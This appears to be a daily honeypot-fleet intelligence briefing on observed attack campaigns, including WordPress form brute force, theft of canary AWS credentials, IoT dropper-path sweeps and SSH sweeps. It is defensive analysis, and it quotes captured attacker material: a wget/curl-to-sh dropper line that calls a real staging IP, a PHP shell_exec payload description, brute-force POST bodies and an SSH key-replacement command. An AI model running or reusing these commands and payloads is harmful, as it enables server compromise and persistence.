FLUX FLEET — INTEL BRIEFING №38

Period: 2026-09-30 07:33 – 2026-10-01 07:33 UTC (24h, day 36 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 36-day baseline, main volume moves tied to spot-query evidence)

BLUF

MEGA-DICTIONARY ran its second consecutive double replay, and both legs hit frantech-ts. The two legs ran byte-identical 13,297-path manifests and added five fleet-new paths — the first manifest growth since №34. The window's new campaign is WP-FORM-BRUTE. Eleven runners, one per sensor, ran a nonce-aware wp-login.php form brute against fixed admin for roughly 23 hours: 636 password POSTs, 635 distinct bodies. Credential use continued for a fourth consecutive window and reached a new AWS service: the deny log recorded its first SES operations (GetSendQuota ×68, GetSMSAttributes ×68) after a Bucklog collector minted one canary and used credentials within minutes. LeakIX ran its biggest REGISTRY-HUNT wave since №30: 34 full-kit runners, including a first lauterbourg cluster. At the network layer, GO-SSH-SWEEP re-crossed the dispersed threshold.

Key Judgements

1. WP-FORM-BRUTE is a distinct, form-token-aware brute-force lane. The 636 captured POST bodies carry testcookie and _wpnonce form tokens, a fixed log=admin, and one password per body. All 11 runners started within a 19-minute span on 09-30 and rotated 5 browser UAs each. (High confidence on the TTP from captured bodies. Moderate on operator unity — the 11 IPs fit one rented pool or several, and the data does not separate them.)
2. The mint→use pipeline now probes AWS sender infrastructure in addition to identity. The Bucklog theft 185.177.72.49 drew GetSendQuota and GetSMSAttributes 136 times (all denied), a first for the deny log. The mint→use gap was minutes. (High confidence — Tracebit alert operations are direct evidence, and the deny-all policy held.)
3. The MEGA-DICTIONARY artifact is under active maintenance again. The manifest grew 13,292 → 13,297 with an agent-installer family after two growth freezes. The same tzulo host replayed on a second node inside 24 hours. (High confidence — spot-query anti-join against full fleet history.)
4. LeakIX collection scaled. 34 full-kit runners ran the registered journey across three trap nodes, and DigitalOcean-space collectors hold 34 of the window's 69 mint rows. (Moderate confidence on the collection share — the collector-to-journey join is by IP space and timing, not by UA.)

Active Campaigns (day 36 status)

WP-FORM-BRUTE (distributed wp-login form brute) ⚠ NEW — Hostile, active

• Actors: 11 sustained runners, one per sensor: 185.79.30.55 (canary-farm-1, 154 events), 51.38.227.10 (netcup-ts, 150), 31.58.236.124 (ru-edge-1, 142), 178.128.122.173 (canary-farm-1, 138), 43.162.124.26 (sponge-01-ts, 136), 47.104.246.244 (sponge-01-ts, 114), 120.55.52.16 (netcup-ts, 108), 42.193.124.174 (sponge-01-ts, 104), 1.234.27.159 (ru-edge-1, 64), 198.44.46.229 (sponge-01-ts, 42), 185.165.171.102 (sponge-01-ts, 36). ASN enrichment did not cover these IPs, so hosting attribution is unverified. Every runner started 10:26–10:45 UTC on 09-30 and stopped between 09:38 and 11:19 UTC on 10-01.

• TTPs: 636 wp-login-credentials POSTs with 635 distinct bodies — a fixed log=admin and one password per POST. Each runner rotated 5 browser UAs (Chrome 126/127 on macOS/Windows/Linux, Firefox 128). Captured bodies quote verbatim:

  _wpnonce=55b85869b9&log=admin&pwd=admin888&redirect_to=%2Fwp-admin%2F&testcookie=1&wp-submit=Log+In log=admin&pwd=admin123&redirect_to=https%3A%2F%2Fsso.rightabouteverything.show%2Fwp-admin%2F&testcookie=1&wp-submit=Log+In

  Some legs harvest the _wpnonce form token first. redirect_to names the fleet vhost. The journey signature df15d0ee3ccf (probe → credentials → probe → credentials) is first-seen 10-01. A smaller wp-login+xmlrpc shape, ed66cc967251 (⟳ since 09-23), ran in parallel on ai-devbox-1 and canary-farm-1 with 11 IPs and 44 events.

• Assessment: the fleet's fake WordPress answers 200, so the brute cannot distinguish success from failure. The operators pay the nonce and testcookie costs anyway. That points at a generic WordPress target list, not fleet-specific recon. The pair count (636) stays under the registered 200-pair-per-window growth alarm frame of WP-LOGIN-BRUTE — watch it as its own series.

MEGA-DICTIONARY (IoT dropper-URL dictionary) ⟳ — SECOND DOUBLE REPLAY, WORDLIST +5 (Hostile, active)

• Actors: 23.234.118.146 (tzulo, US, ipsum:1) on frantech-ts at 22:35 UTC 09-30, 13,297 GETs in about a minute. Then 193.32.126.131 (31173 Services AB, FR) on frantech-ts at 04:56 UTC 10-01, 13,297 GETs in about two minutes. The tzulo host is the same machine that ran №37's control-1 leg — a repeat inside 24 hours on a second node. Both IPs rotate, and the manifest is the campaign identity.
• TTPs: the spot-query anti-join found 13,297 distinct paths per host and 13,297 shared paths — byte-identical manifests, zero POSTs, zero mints. Five paths are new against full fleet history: /s/agent.sh, /s/agent-sf.sh, /s/agent-binary, /violet.x86, /wife.aarch64. The manifest grew 13,292 → 13,297. frantech-ts also logged sensor-level first-seens for /bins/aurora.* and /release/DS.arm7 — present in earlier windows on other sensors, new to this node.
• Assessment: dropper-distribution mapping, not credential theft. The new agent installer family says the operator refreshed its tooling. The replay drove frantech-ts to 28,448 events (+234% over its 7-day average), the window's biggest volume move.

CREDENTIAL-DRAIN (mint→use pipeline) ⟳ — FOURTH USE WINDOW, SES ESCALATION (Hostile, active)

• Actors (use side): 185.177.72.49 (Bucklog SARL, FR — ipsum:5 firehol2) minted 1 on control-1 at 17:50 UTC 09-30 and used 2 credentials (the second from an earlier mint) from 4 AWS-side IPs. 213.209.159.154 (Feo Prest) used 1 from 6 IPs. 80.94.95.211 (SS-Net, RO) used 1 from 4 IPs — a repeat from №37. None of the use IPs appear in flux logs.
• TTPs: 150 use events across 4 credentials: 9 sts:GetCallerIdentity successes and denied GetSendQuota ×68, GetSMSAttributes ×68, and ListFoundationModels ×5. The SES pair is new on the deny log. The Bucklog mint→use gap was minutes.
• Assessment: the thieves now enumerate SES sender quotas and SMS attributes — sender-infrastructure recon beyond STS identity checks. The deny-all policy held. The Bucklog family (registered day 7 for the phpunit reverse-shell kit) is now tied to credential use for the first time.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — BIGGEST WAVE SINCE №30, FIRST LAUTERBOURG CLUSTER (Borderline)

• Actors: 34 full-kit runners: canary-farm-1 13 IPs / 574 events (signature 850993125b15), ai-devbox-1 11 IPs / 492 events (b07c7bb207b4), and lauterbourg-01-ts 10 IPs / 390 events under a new signature abf92a331d66 that opens with the Kiteworks root redirect. Sample runners: 128.199.182.55, 139.59.143.102, 64.227.32.66, 143.110.217.244, 147.182.200.94, 165.227.173.41, 159.65.144.72, 138.68.82.23 (all DigitalOcean).
• TTPs: the registered WebLogic → Confluence → WHM/cPanel → docker-registry journey is intact. The farm docker-registry-manifest/tags spikes (90 events each, 3.0×) belong to this wave. DigitalOcean-space collectors hold 34 of the window's 69 mint rows, 1–2 mints each, inside the 15:34–22:20 UTC 09-30 wave.
• Assessment: honest UA and a public service identity keep LeakIX borderline, but its collection share grew. The lauterbourg cluster adapts the journey to the Kiteworks vhost — the template now parses node identity.

OMEGA-SWEEP (/46 census pool, Googlebot forgery) ⟳ — FARM CENSUS BURST (Hostile, active)

• Actors: 94.154.46.249 on canary-farm-1: 2,100 events / 1,042 paths / 132 families in one minute at 05:07 UTC 10-01, forged Googlebot/2.1, 12 mints (27 in the 6-day Tracebit window). Light 150-path passes from 94.154.46.242 (frantech-ts 03:07 UTC) and 94.154.46.248 (frantech-ts 05:35 UTC, lauterbourg-01-ts 08:16 UTC).
• TTPs: the farm ssh-private-key spike (56 events vs a 7-day average of 0) belongs to this census. The kill-chain shows /.aws/config, wp-config, and app-config families.
• Assessment: standing census. No observed AWS use from the /46 block.

CREDSWEEP operators ⟳ — .87 FOUR-SENSOR RETURN ON ITS TRUE IP (Hostile, active)

• Actors: 102.220.161.87 (VPS Dedicated, SI — the №29 forged-identity wave operator) returned at 20:51 UTC 09-30 with synchronized 514-event / 511-path censuses on canary-farm-1, ai-devbox-1, control-1, and ru-edge-1, start spread under 3 minutes. It minted 1 each on farm, aidev, and control. Ru-edge rejected the mint (tracebit-error). 213.209.159.154 (Feo Prest) ran a 378-event census on netcup-ts at 04:18 UTC with a grown wordlist: 11 first-seen directory-prefixed paths (/_crm/.env, /_dashboard/.env, /config./.env, /dashboard./.env, /phpinfo./.env, /cron/.env, and five /<dir>/.git/config). 45.148.10.171 took 2 mints on control-1 (39 in 6 days). 45.148.10.238 (Techoff) ran both frantech-ts (640 events, 11 POSTs, bodies not captured) and control-1 (499 events, webshell probes /in.php and /inf.php, 1 mint).
• TTPs: the .87 census is byte-identical across sensors: pscan-<hex>-nonexistent.txt marker, then /.env and nine .env directory variants, and a phpmyadmin probe at the end.
• Assessment: the synchronization shows schedule-driven tooling. This return carried no XFF forgery — mismatch rows are 0 fleet-wide, so the №29 attribution laundering has not repeated.

LIBREDTAIL-KIT (phpunit RCE + key-exfil oracle) ⟳ — DROPPER UNCHANGED, 19TH WINDOW (Hostile, active)

• Actors: the php-cgi delivery cluster 7e61a9500d8b (⟳ since 08-29) ran on control-1, frantech-ts, netcup-ts, and sponge-01-ts: 44 cmd-injection-php-cgi-rce events from 8 IPs. Sample runner: 39.109.116.214 on lauterbourg-01-ts.

• TTPs: the captured body is byte-identical to prior windows — <?php shell_exec(base64_decode(...)) mints an OpenSSH ed25519 private key as the success oracle. The dropper follows:

  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache

  Staging host 217.60.103.56 is unchanged.

• Assessment: this kit wants execution, not credentials. The kit legs minted nothing.

TOKEN-CRAWLER (/c/ token walk) ⟳ — SEVEN-IP RETURN (Hostile, active)

• Actors: 45.198.224.230–.233 and .237–.239 on frantech-ts, 30–40 events each, 0 mints.
• TTPs: /c/<100-char random token> walks plus .env directory variants under forged Chrome/114, in synchronized waves at 09:28, 16:59, 00:02, and 07:32 UTC.
• Assessment: census-scale reconnaissance. The /24 remains the correlation key.

MALWARE-DICT (Pfcloud loop) and absences

• MALWARE-DICT: 204.76.203.18 ran its 25th consecutive control-1 loop: 2,107 events / 574 paths, volume down from 2,185.
• Absent or paused: CF-FRONTED CREDSWEEP (no Cloudflare wave, ai-devbox-1 −36%), METADATA-HUNT (no @fs/__aws_leak_probe marker rows), ORACLE-SWEEP (standing-paused, third window), CONFIG-SWEEP (no new run since №33), SS-PROBE, NIGHTAGENT (dormant, dropper retired), CRUSADER-SWEEP, CURL-SWEEP, GCP-ACONF, AKAMAI-CONFIG, ALIYUN-PROBE, ENV-CENSUS-3/4, SYNC-ENUM-WAVE.

Standing actors (persistence check)

• 204.76.203.18 (Pfcloud UG, NL): 25th window, 2,107 events on control-1, flat volume.
• 102.220.161.87 (VPS Dedicated, SI): returned after two absent windows, four sensors inside 3 minutes.
• 213.209.159.154 (Feo Prest): census arm on netcup-ts with a grown wordlist, its 6-day hoard (37 mints) produced one credential use from 6 IPs.
• 45.148.10.171: 2 in-window mints on control-1, 39 in 6 days, zero use.
• 45.148.10.238 (Techoff Srv): two-node run, 1 control-1 mint.
• 94.154.46.249 (Omegatech): farm census burst, 27 mints in 6 days.
• 185.73.23.162 (Ruhr-Uni Bochum, benign): absent this window, and its absence explains part of the netcup-ts (−28%) and sponge-01-ts (−47%) declines.

Canary credentials

Summary

4 Tracebit alert(s) fired in the window (150 use events across 4 credentials). Fleet sensors minted 69 credentials to 45 collector IPs; 4 credential(s) reached AWS. Use outcomes: 141 failure, 9 success. Denied operations: GetSendQuota×68, GetSMSAttributes×68, ListFoundationModels×5. 9 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 213.209.159.175: 89 mints, 2026-09-24 04:17 → 2026-09-29 23:06
• 45.148.10.171: 39 mints, 2026-09-24 11:36 → 2026-10-01 03:13
• 94.154.46.245: 28 mints, 2026-09-28 10:16 → 2026-09-29 15:04
• 94.154.46.246: 28 mints, 2026-09-26 00:30 → 2026-09-28 14:47
• 94.154.46.249: 27 mints, 2026-09-24 23:37 → 2026-10-01 01:07
• 104.28.222.46: 20 mints, 2026-09-29 19:00 → 2026-09-29 20:29
• 87.120.104.29: 18 mints, 2026-09-25 09:50 → 2026-09-26 05:33
• 102.220.161.139: 12 mints, 2026-09-26 05:22 → 2026-09-30 05:52
• 104.28.254.47: 11 mints, 2026-09-29 19:00 → 2026-09-29 20:27
• 104.28.222.16: 9 mints, 2026-09-29 22:28 → 2026-09-29 22:28
• 102.220.161.102: 8 mints, 2026-09-29 08:40 → 2026-09-30 13:16
• 105.115.10.78: 8 mints, 2026-09-25 23:08 → 2026-09-26 20:32
• 194.127.166.149: 8 mints, 2026-09-24 17:10 → 2026-09-24 18:32
• 103.75.11.189: 7 mints, 2026-09-28 04:44 → 2026-09-28 10:35
• 109.205.176.10: 7 mints, 2026-09-24 10:44 → 2026-09-30 07:44
• 155.117.232.31: 7 mints, 2026-09-28 17:19 → 2026-09-30 17:23
• 162.158.182.99: 6 mints, 2026-09-29 22:28 → 2026-09-30 02:52
• 185.177.72.64: 6 mints, 2026-09-25 15:52 → 2026-09-25 22:51
• 2.27.154.52: 6 mints, 2026-09-25 04:53 → 2026-09-25 05:24
• 62.244.54.240: 6 mints, 2026-09-24 22:18 → 2026-09-24 22:45
• 94.154.46.243: 6 mints, 2026-09-27 10:18 → 2026-09-27 10:19
• 94.154.46.244: 6 mints, 2026-09-24 21:15 → 2026-09-24 21:15
• 94.154.46.247: 6 mints, 2026-09-24 05:25 → 2026-09-24 05:26
• 104.28.232.40: 5 mints, 2026-09-30 02:48 → 2026-09-30 02:48
• 165.22.34.189: 5 mints, 2026-09-24 20:39 → 2026-09-30 18:10
• 80.94.92.65: 5 mints, 2026-09-27 21:25 → 2026-09-30 16:17
• 104.23.223.43: 4 mints, 2026-09-29 22:28 → 2026-09-29 22:32
• 134.209.110.125: 4 mints, 2026-09-27 22:51 → 2026-09-27 23:04
• 135.136.55.62: 4 mints, 2026-09-24 06:13 → 2026-09-24 06:51
• 167.99.181.249: 4 mints, 2026-09-25 20:05 → 2026-09-28 20:32
• 194.180.48.253: 4 mints, 2026-09-24 15:50 → 2026-09-24 19:23
• 23.234.77.64: 4 mints, 2026-09-25 16:29 → 2026-09-25 17:29
• 64.227.32.66: 4 mints, 2026-09-25 20:27 → 2026-09-30 17:55
• 80.94.92.65: 4 mints, 2026-09-27 21:25 → 2026-09-28 03:00
• 104.23.221.190: 3 mints, 2026-09-29 22:28 → 2026-09-29 22:32
• 104.28.254.16: 3 mints, 2026-09-29 22:28 → 2026-09-29 22:28
• 104.28.254.46: 3 mints, 2026-09-29 19:00 → 2026-09-29 19:00
• 128.199.182.55: 3 mints, 2026-09-30 17:46 → 2026-09-30 17:55
• 136.85.48.119: 3 mints, 2026-09-25 23:59 → 2026-09-25 23:59
• 143.110.217.244: 3 mints, 2026-09-24 20:28 → 2026-09-30 17:46
• 146.190.103.103: 3 mints, 2026-09-28 20:16 → 2026-09-29 20:14
• 159.89.174.87: 3 mints, 2026-09-28 20:32 → 2026-09-30 18:19
• 161.35.96.60: 3 mints, 2026-09-27 11:08 → 2026-09-29 19:33
• 209.38.208.202: 3 mints, 2026-09-25 20:34 → 2026-09-29 20:13
• 31.57.216.50: 3 mints, 2026-09-25 23:10 → 2026-09-25 23:11
• 41.140.17.206: 3 mints, 2026-09-27 01:56 → 2026-09-27 02:06
• 41.140.198.124: 3 mints, 2026-09-25 03:20 → 2026-09-25 03:28
• 45.138.12.51: 3 mints, 2026-09-24 07:10 → 2026-09-26 07:30
• 45.153.34.39: 3 mints, 2026-09-23 07:00 → 2026-09-27 01:21
• 80.87.206.148: 3 mints, 2026-09-26 09:55 → 2026-09-28 18:50

The Bucklog theft 185.177.72.49 carries campaign lineage: the same /24 ran the day-7 reverse-shell kit and produced collector 185.177.72.64 in №33. The 36 DigitalOcean-space mint rows sit inside the REGISTRY-HUNT wave window and the OMEGA census timings. Hoard-versus-resale attribution stays open until a second use event names a lane.

Network-layer recon (Arkime) — 2026-09-30 07:33:00 → 2026-10-01 07:33:37 UTC

Fingerprint field ssh.hassh, destination port 22 · 81,402 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 47,716, bahrain-sponge-01-ts 16,774, sensor:bahrain-sponge-01-ts 16,774, sensor:ru-vps-01-ts 15,241, frantech-ts 13,592, sensor:frantech-ts 13,592

Flagged sweeps (2) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 6,475 sessions from 341 source IPs across 169 networks in 57 countries, port 22, avg 4,917 B/session. Networks: AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS132203 Tencent Building, Kejizhongyi Avenue, AS4766 Korea Telecom, AS16276 OVH SAS. Busiest sources: 185.158.22.150, 221.156.126.1, 34.40.145.110, 118.193.45.134, 194.187.122.52. Last 7 days: 09-25 339 IPs, 09-26 321 IPs, 09-27 316 IPs, 09-28 356 IPs, 09-29 355 IPs, 09-30 365 IPs, 10-01 128 IPs.
• 0a07365cc01fa9fc82608ba4019af499 — client banner ssh-2.0-go, 26,523 sessions from 80 source IPs across 30 networks in 19 countries, port 22, avg 5,152 B/session. Networks: AS209854 Cyberzone S.A., AS205089 Alfahost LLC, AS208137 Feo Prest SRL, AS213790 Limited Network LTD, AS45102 Alibaba US Technology Co., Ltd.. Busiest sources: 192.253.248.217, 213.209.159.209, 213.209.159.212, 109.160.32.112, 109.160.32.169. Last 7 days: 09-25 38 IPs, 09-26 41 IPs, 09-27 35 IPs, 09-28 60 IPs, 09-29 57 IPs, 09-30 65 IPs, 10-01 33 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon notes: GO-SSH-SWEEP (0a07365c…) re-crossed the dispersed threshold after two sub-threshold windows — source spread doubled to 80 IPs / 30 networks while session volume held. LIBSSH-MASSSWEEP stayed on its plateau (341 IPs, within the 316–365 band). The heavy single-source fingerprint 16443846184e… ran 10,852 sessions from 34 IPs and has no banner characterization after four cycles. 4e066189c3bb… dropped out of the table entirely — first absence. Next cycle, make sure the absence is a pause and not a retention-floor artifact. The Arkime tag ru-vps-01-ts appeared for ru-edge-1's sensor (a rename in the tag set, not a new node).

Fleet Observations

Canary economics. The digest shows 70 mint rows: ai-devbox-1 25, canary-farm-1 36, control-1 6, ru-edge-1 3. Tracebit dedup sees 69 credentials to 45 collector IPs — the largest single-window collector set on record (prior high: 38 in №37). All-time issued rows stand at 2,299. Mint failures: 5 × 400 on ai-devbox-1 (tracebit-http-error / Bad Request inside census bursts) and 1 on ru-edge-1 logged without a parsed error label — a new failure-row shape worth tracking. The №37 Cloudflare mint set (76 credentials) produced no observed AWS use before expiry. The watch continues.

Attribution and TLS posture. XFF counters: any 1,528 / multi-entry 0 / ignored-internal 198 / single-entry mismatch 0. The ignored count rose from 0 to 198. That line counts headers that agree with the peer or name only internal hops, consistent with proxied traffic through the Caddy frontends (canary-farm-1 564 HTTPS events, ai-devbox-1 559). No hostile mismatch rows: the №29-style attribution laundering did not repeat. Host census stays bare-IP-led. sso.rightabouteverything.show logged 935 events on canary-farm-1 and inference.fapthropic.com 927 on ai-devbox-1.

Volume moves and causes. frantech-ts +234% (28,448) — the MEGA-DICTIONARY double replay. canary-farm-1 +18% (4,713) — the OMEGA burst plus the LeakIX wave. ai-devbox-1 −36% (2,012) — the Cloudflare wave did not repeat. control-1 −35% (3,962) — yesterday's 16,554 carried the №37 replay through the seam. ru-edge-1 −63% (1,120) and lauterbourg-01-ts −56% (1,321) — no replay this window. netcup-ts −28% and sponge-01-ts −47% — the benign Ruhr-Uni scanner was absent.

control-1 discovery velocity. control-1 is 18 days live. It logged 3,962 events from 117 unique IPs. The unique-IP count sits inside the 62–145 post-fix band for the twelfth consecutive window.

Pipeline. No node changes this cycle. The CHAINS dict in flux-visuals.py and the campaign registry gained WP-FORM-BRUTE. MEGA-DICTIONARY, CREDENTIAL-DRAIN, REGISTRY-HUNT, and TOKEN-CRAWLER rows are refreshed.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 622 sources sent credentials → 475 got a shell (76%) → 300 ran a command (63% of shell-getters, 48% of sources). Event level: 11,695 credential attempts → 5,020 accepted logins → 6,866 commands (137% of accepted logins).

Eleventh fully static window. New commands: 0 of 85 distinct. New credential pairs: 0 of 5,544. Telnet commodity attempts fell to 815 from 2,644. The .ssh replant family stays dominant: cd ~; chattr -ia .ssh; lockr -ia .ssh ran 1,332 events from 247 IPs, and the key-replace companion ran 1,166 events from 229 IPs. The uname -s -v -n -r -m inventory pair ran 1,315 + 1,314 events from 8 IPs led by 109.160.32.35 — addresses from the GO-SSH-SWEEP /24 also work this honeypot after a shell. A hosted-survey script set (export PATH=... LC_ALL=C LANG=C + uname probing) ran 336 events from 7 IPs led by 80.94.92.55 (SS-Net range), plus 113 events from 62.171.133.1. Credential concentration is unchanged: 345gs5662d34 / 345gs5662d34 drew 1,279 attempts and root / 3245gs5662d34 drew 961.

Gaps / Next Collection

1. WP-FORM-BRUTE outcome blindness. The fake WordPress returns 200, so the brute's success signal does not exist on our side. Watch pair-count growth against a 200-per-window alarm line and any repeat wave under fresh IPs. ASN enrichment for the 11 runners is outstanding.
2. SES escalation watch. Alert on any SES or SESv2 operation from a canary theft, and pivot 185.177.72.49's 4 AWS-side use IPs for staging links.
3. MEGA-DICTIONARY manifest tracking. Anti-join the next replay against the 13,297-path manifest. The /s/agent* family names a tooling refresh worth diffing per replay.
4. Banner characterization, cycle four. 16443846184e… (10,852 sessions, 34 IPs) is still unnamed. 4e066189c3bb… went absent — make sure the absence is a pause and not a retention-floor artifact.
5. Lauterbourg POST-body capture. The kiteworks POST-body gap carries. Login POSTs on the Kiteworks decoy still arrive with NULL bodies.
6. ru-edge failure label. One mint failure row carried no parsed error class. Check whether the upstream error string changed before the next mint-health read.

Digest: /data/flux-logs/reports/flux-digest-2026-10-01.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-01.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-01.html

Watch next cycle: (1) WP-FORM-BRUTE — repeat wave, pair growth, or fresh IPs. (2) CREDENTIAL-DRAIN — any SES/SESv2 operation after the first SES enumeration, plus the Bucklog .49 use IPs. (3) MEGA-DICTIONARY — whether the 13,297-path manifest holds or grows again on a third node.